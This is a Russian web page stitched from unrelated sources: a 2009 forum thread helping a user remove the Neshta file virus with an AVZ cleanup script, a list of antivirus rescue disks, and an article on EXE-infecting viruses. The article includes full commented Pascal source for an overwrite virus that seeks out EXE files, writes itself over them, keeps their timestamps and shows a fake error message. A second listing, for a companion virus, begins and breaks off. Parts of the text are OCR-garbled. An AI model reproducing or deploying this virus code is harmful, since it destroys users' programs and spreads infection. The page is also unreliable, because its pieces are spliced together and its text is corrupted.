Как вылечить от вируса exe файл
30.03.2009, 19:50
#1
Junior Member
Вес репутации
40Как вылечить ехе-файлы от вируса Win32.Neshta.A virus не удаляя сами файлы?
Как вылечить ехе-файлы от вируса Neshta.A virus не удаляя сами файлы?
Все нужные логи имеютсяПоследний раз редактировалось max_paine; 31.03.2009 в 11:09.
Причина: уточнил название вируса
Будь в курсе!
Будь в курсе!
Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:
30.03.2009, 19:52
#2
Логи нужны из обычного режима…
30.03.2009, 19:54
#3
Junior Member
Вес репутации
40ЭЭэ в чем проблема,я могу залесть на комп только в безопастном режиме…
30.03.2009, 20:16
#4
А в обычном что происходит?
30.03.2009, 20:26
#5
Junior Member
Вес репутации
40В обычном все ехе-файлы не открываються,говорит мол «Вам запрещен доступ к этому файлу».Ну типо этот файл заражен
30.03.2009, 20:32
#6
Скачайте сканер VBA32 c ftp://vba.ok.by/vba/Vba32Check.exe или с ftp://anti-virus.by/pub/Vba32Check.exe
И сделайте как написано здесь https://virusinfo.info/showpost.php?p…5&postcount=35
Скачивать, распаковывать и записывать нужно на чистой машине! После лечения прикрепите файл vba32.rpt и повторите логи по правилам.
Сердце решает кого любить… Судьба решает с кем быть…
30.03.2009, 20:46
#7
Junior Member
Вес репутации
40в чем еще проблема, у меня лимитный интернет, и 55 метров многовато,а хотя через 2 дня дадут трафик,попробую выжить без компа 2 дняДобавлено через 2 минуты
особенно сильно ругаеться на файл svchost.com,ну или как там его,в папке винды,его и вывшлю в карантине…
Последний раз редактировалось max_paine; 30.03.2009 в 20:55.
Причина: Добавлено
30.03.2009, 20:54
#8
AVZ, меню «Файл — Выполнить скрипт» — Скопировать ниже написанный скрипт— Нажать кнопку «Запустить».
Код:
begin
DeleteService(‘PowerManager’);
DeleteService(‘DNCP’);
TerminateProcessByName(‘c:windowssystem32svchosst.exe’);
TerminateProcessByName(‘c:windowssystem32csrcs.exe’);
DeleteFile(‘c:windowssystem32csrcs.exe’);
DeleteFile(‘c:windowssystem32svchosst.exe’);
DeleteFile(‘C:WINDOWSsystem32dncpsvchost.exe’);
DeleteFile(‘C:WINDOWSsvchost.exe’);
DeleteFile(‘C:WINDOWSsystem32sysmgr.exe’);
DeleteFile(‘C:WINDOWSsvchost.com’);
BC_ImportDeletedList;
ExecuteSysClean;
BC_DeleteSvc(‘PowerManager’);
BC_DeleteSvc(‘DNCP’);
BC_Activate;
ExecuteRepair(16);
RebootWindows(true);
end.Затем сделайте полную проверку CureIT и повторите логи…
31.03.2009, 11:43
#9
Junior Member
Вес репутации
40Вот еще….
Вот еще программа CureIT открываеться => появляеться окно «проверить компьютер» => появляеться окно «купить бесплатно» => и все!
Скачал сегодня 20 мин назад.
Че делатЬ?Добавлено через 11 минутНовая проблема:После выполнения скрипта все файлы-ЕХЕ просят их через что-нибудь открыть,ну не через блокнот их открывать
Добавлено через 57 секунд
А может попробовать через Explover открыть..
Добавлено через 24 минуты
вот 4 раз перезагрузил комп и проги открываются без запросов,но вот CureIT продолжает бастовать
Последний раз редактировалось max_paine; 31.03.2009 в 11:43.
Причина: Добавлено
3ds Max и PhotoShop — друзья навек!
[INDENT]Пишите в ЛС[/INDENT]
31.03.2009, 11:46
#10
31.03.2009, 13:30
#11
Junior Member
Вес репутации
403ds Max и PhotoShop — друзья навек!
[INDENT]Пишите в ЛС[/INDENT]
31.03.2009, 13:43
#12
Сделайте полную проверку AVPTool и повторите логи…
01.04.2009, 13:43
#13
Итог лечения
Статистика проведенного лечения:
- Получено карантинов: 1
- Обработано файлов: 1
- В ходе лечения обнаружены вредоносные программы:
- svchost.com — Virus.Win32.Neshta.a ( DrWEB: Win32.HLLP.Neshta, BitDefender: Win32.Neshta.A )
Источник
На сегодняшний день нет абсолютных методик лечения файловых вирусов.
1) Скачайте на заведомо «здоровом» компьютере утилиту от DrWeb — CureIT! Разархивируйте и запишите её на CD или DVD, можно записать и на флешку, если производителем предусмотрен режим защиты данных от изменений (только чтение). Иначе активный вирус повредит утилиту ещё до запуска. Сделайте полную проверку зараженного компьютера в режиме Safe Mode, затем в нормальном.
Этот способ может не сработать, если в сигнатурх продуктов DrWeb нет данной модификации зловреда, заразившего Ваш компьютер. Отправьте несколько зараженных файлов аналитикам Dr. Web.* и в течении суток CureIT! «научат» лечить вирус, утилиту придется скачать заново на заведомо «здоровом» компьютере.
2) Этот способ подразумевает наличие «здорового» компьютера, на котором установлен антивирус Dr. Web или Касперского, делаищие упор на сигнатурный детект, что позволяет наиболее эффективно бороться с классическими вирусами. Для борьбы необходимо наличие наиболее свежих антивирусных баз. Необходимо жёсткий диск (HDD) «зараженного» компьютера подключить к чистой машине и провести полную проверку. После проверкилечения жесткий диск необходимо вернуть на место.
Данный способ не дает абсолютного положительного результата. Ваш антивирус может не знать данную модификацию вируса, тогда существует риск заражения «чистой машины» (если будете запускать программы и файлы с подключенного жесткого диска). В этом случае необходимо отправить зараженный файл вендору* и детект будет добавлен в ближайшее время. Полностью отказаться от этого метода заставит наличие гарантии на один из компьютеров или отсутствие знаний как снимать жесткий диск. В этом случае необходимо обратится в ближайший сервисный центр (при наличии гарантии в гарантийный центр обслуживания).
P.S. При лечении файлового вируса вторым методом. т.е. посредством подключения жёсткого диска к чистой машине следует быть очень внимательным и аккуратным, т.к. можно заразить чистую машину. Если вы не сомневаетесь в своих возможностях лучше не пробывать.
Ссылки, по которым можно отправить файлы на анализ
Kaspersky
Drweb
Добавлено через 31 секунду
Еще одна довольно эффективная методика: это использование LiveCD, собранного специально для очистки компьютера от вредоносных программ, которых обычными средствами проблематично уничтожить.
1. В нашем случае (заражении файловым вирусом) необходимо использовать Dr.Web LiveCD, позволяет восстановить работоспособность системы, пораженной действиями вредоносных программ. Эта сборка LiveCD не только очистит компьютер от инфицированных и подозрительных файлов, но и попытается вылечить зараженные объекты.
Документация (перед началом использования и если у Вас нет опыта работы с подобными продуктами, обязательно почитайте документацию по продукту)
Прямой линк на скачивание образа диска
В состав сборки Dr.Web LiveCD входят следующие приложения:
1. Сканер Dr.Web® для Linux;
2. Браузер Firefox;
3. Файловый менеджер Midnight Commander;
4. Терминал для работы с командной строкой непосредственно перед из-под графической оболочки;
5. Текстовый редактор Leafpad.
Более подробная информация находится в документации.
2. Если нет возможности воспользоваться DVD/CD приводом, то пригодиться Dr.Web® LiveUSB — это утилита, позволяющая создать загрузочную флэш-карту с переносной операционной системой на базе Linux и встроенным программным обеспечением, предназначенным для проверки излечения компьютера (антивирусное решение Dr.Web LiveUSB), работы с файловой системой, просмотра и редактирования текстовых файлов, просмотра веб-страниц и ведения электронной переписки. С помощью загрузочной флэш-карты можно восстановить систему в тех случаях, когда вследствие вирусной активности не представляется возможным произвести загрузку компьютера с жесткого диска обычным способом.
Dr.Web® LiveUSB поставляется в виде исполняемого файла drwebliveusb.exe.
Более подробная информация находится в документации.
3. А так-же можно воспользоваться Avira AntiVir Rescue System которая является linux приложением, позволяющим получить доступ к компьютеру, который не удается загрузить. Это позволяет:
- восстановить поврежденную систему,
- спасти данные,
- выполнить проверку системы на наличие вирусов.
Если у вас есть старый установочный файл, то вам прийдется его скачать еще раз т.к., Avira AntiVir Rescue System обновляется несколько раз в день.
Не забывайте, что установочный файл (rescuecd.exe примерно 60 mb) необходимо скачивать и запускать на заведомо здоровом компьютере.
4. Или же можно воспользоваться Kaspersky Rescue Disk 10 который формируется на базе на базе ядра операционной системы Linux и представляет собой файл .iso, который включает:
системные и конфигурационные файлы Linux;
- набор утилит для диагностики операционной системы;
- набор вспомогательных утилит (файловый менеджер и др.);
- файлы Kaspersky Rescue Disk;
- файлы, содержащие антивирусные базы.
Если у вас установлен один из продуктов ЛК линейки 2010, то образ можно поддержать в актуальном состоянии.
Подробнее на сайте технической поддержки ЛК
Или же создать локальную папку с базами обновлениями и обновить базы Диска аварийного восстановления (Kaspersky Rescue Disk) с помощью утилиты обновления
5. Еще одним вариантом лечения будет Live CD Vba32 Rescue который содержит:
- Консольный сканер для *UNIX (VBA32.L)
- Файловый менеджер MidnightCommander
Основные возможности продукта:
- Сканирование ПК на наличие вредоносных объектов;
- Создание отчетов сканирования системы для последующего обращения в службу тех. поддержки;
- Выполнение основных операций с файлами, находящимися на компьютере пользователя (переименование, копирование, перемещение и т.д.);
Скачать LiveCD Vba32 Rescue
Удачного лечения.
Источник
В этой статье рассказано о вирусах, заражающих ЕХЕ-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними достоинства и недостатки.
Вирусы — это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.
Для каждого типа вирусов представлены исходные тексты с подробными комментариями.Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы.
СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами ЕХЕ-«монстры». Появились и вирусы, умеющие заражать ЕХЕ-файлы.
Структура и процесс загрузки ЕХЕ-программы
В отличие от СОМ-программ, ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес свободного участка памяти,размер
которого достаточен для размещения программы.
2.Создается и заполняется блок памяти для переменных среды.
3.Создается блок памяти для PSP и программы (сегментЮОООЬ — PSP;
сегмент+ООЮЬЮОООЬ — программа).
В поля PSP заносятся соответствующие значения.
4.Адрес DTA устанавливается равным PSP:0080h.
5.В рабочую область загрузчика считывается форматированная часть
заголовка ЕХЕ-файла.
6.Вычисляется длина загрузочного модуля по формуле:
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7.Определяется смещение загрузочного модуля в файле, равное
HdrSize*16.
8.Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.
9.Считывается в память загрузочный модуль (начиная с адреса
START_SEG:0000).
10.Для каждого входа таблицы настройки:
a)читаются слова I_OFF и I_SEG;
b)вычисляется RELC^SEG-START^SEG+LSEG;
c)читается слово по адресу RELO_SEG:I_OFF;
d)к прочитанному слову прибавляется START_SEG;
e)результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11.Распределяется память для программы в соответствии с МахМет
и МтМет.
12.Инициализируются регистры, выполняется программа:
a)ES=DS°PSP;
b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;
c)SS°START_SEG+ReloSS, SP-ExeSP;
d)CS=START_SEG+ReloCS, IP=ExeIP.
Классификация ЕХЕ-вирусов
ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы, замещающие программный код (Overwrite) Такие вирусы уже стали раритетом. Главный их недостаток — слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус,код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа.
Вирус-спутник обезвредить довольно просто — достаточно удалить
СОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,
файл может получить расширение DAT (файл данных) или OVL (про-
граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ, поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено,если вирус-спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.
Способы заражения ЕХЕ-файлов
Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ — внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него — код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа — «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто — достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов — метод переноса — по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало,по длине равное телу вируса. На это место записывается тело вируса.Начало программы из памяти дописывается в конец файла. Отсюда название метода — «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы,из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы — в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы, замещающие программный код (Overwrite) Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», — пусть пользователь не слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)}
Uses DOS;
Const
(Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]=’Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла}
VirLen=4208;
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
lnfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
Virldentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
VirBody: File;
(Еще одна файловая переменная — хотя без нее можно было обойтись, так будет понятнее)
Target: File;
{Для имени найденного файла)
TargetFile: PathStr;
(Буфер для тела вируса)
VirBuf : Array [-I.VirLen] of Char;
(Для даты/времени файла)
Time : Longint;
(Счетчик количества инфицированных файлов)
InfFiles : Byte;
Dirlnfo : SearchRec;
LabelBuf : Array [1.5] of Char;
(Инициализация)
procedure Init;
begin
LabelBuf [1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
(Обнуляем счетчик количества инфицированных файлов}
lnfFiles:=0;
(Связываем файловую переменную VirBody с именем программы из которой стартовали)
Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)
Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
Close(VirBody);
end;
(Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
(Функция возвращает True, если найденная программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
(Пока будем считать, что вируса нет}
VirusPresent:=False;
(Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
(Считываем 5 байт — если файл уже заражен,там находится метка вируса}
BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и вирус}
VirusPresent:=True;
end;
(Процедура заражения}
procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут станавливается на файл после сохранения в любом случае}
Time:=Sr.Time;
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции а длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
Close(Target);
{Увеличиваем счетчик инфицированных файлов}
Inc(lnfFiles);
end;
end;
{Начало процедуры FindTarget}
begin
{Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=» Then Exit;
(Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
(Инициализируемся}
hit;
{Ищем жертвы и заражаем их}
FindTarget;
{Выдаем на экран сообщение об ошибке}
WriteLn(‘Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены — соотношение companion и parasitic вирусов примерно один к двум.Инфицирование методом создания СОМ-файла спутника Смысл этого метода — не трогая «чужого кота» (ЕХЕ-программу), создать «своего» — СОМ-файл с именем ЕХЕ-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1.Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2.Найти ЕХЕ-файл-жертву.
3.Проверить, не присутствует ли в каталоге с найденным ЕХЕ-файлом СОМ-файл с таким же именем, как у файла-жертвы.
4.Если такой СОМ-файл присутствует, файл уже заражен, переходим
к пункту 6.
5.С помощью командного процессора скопировать файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ.
6.Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ — то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим
методом.
($М 2048, 0, 0}
f$A-}
<$В-«
($D-}
<$Е+1
{$F-}
{$G-}
{$!-}
$L-(
{$N-)
{$S-}
<$V-}
{$X+}
(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;
Const
{Имя вируса)
VirName=’Guesf;
Author=’Dirty Nazi/SGWW. 4 PVT only!’;
{Количество зараженных за один сеанс работы файлов}
lnfCount=2;
Var
{Для имени найденного файла)
TargetFile : PathStr;
P.P.S. Если у Вас есть вопросы, желание прокомментировать или поделиться опытом, напишите, пожалуйста, в комментариях ниже.
Источник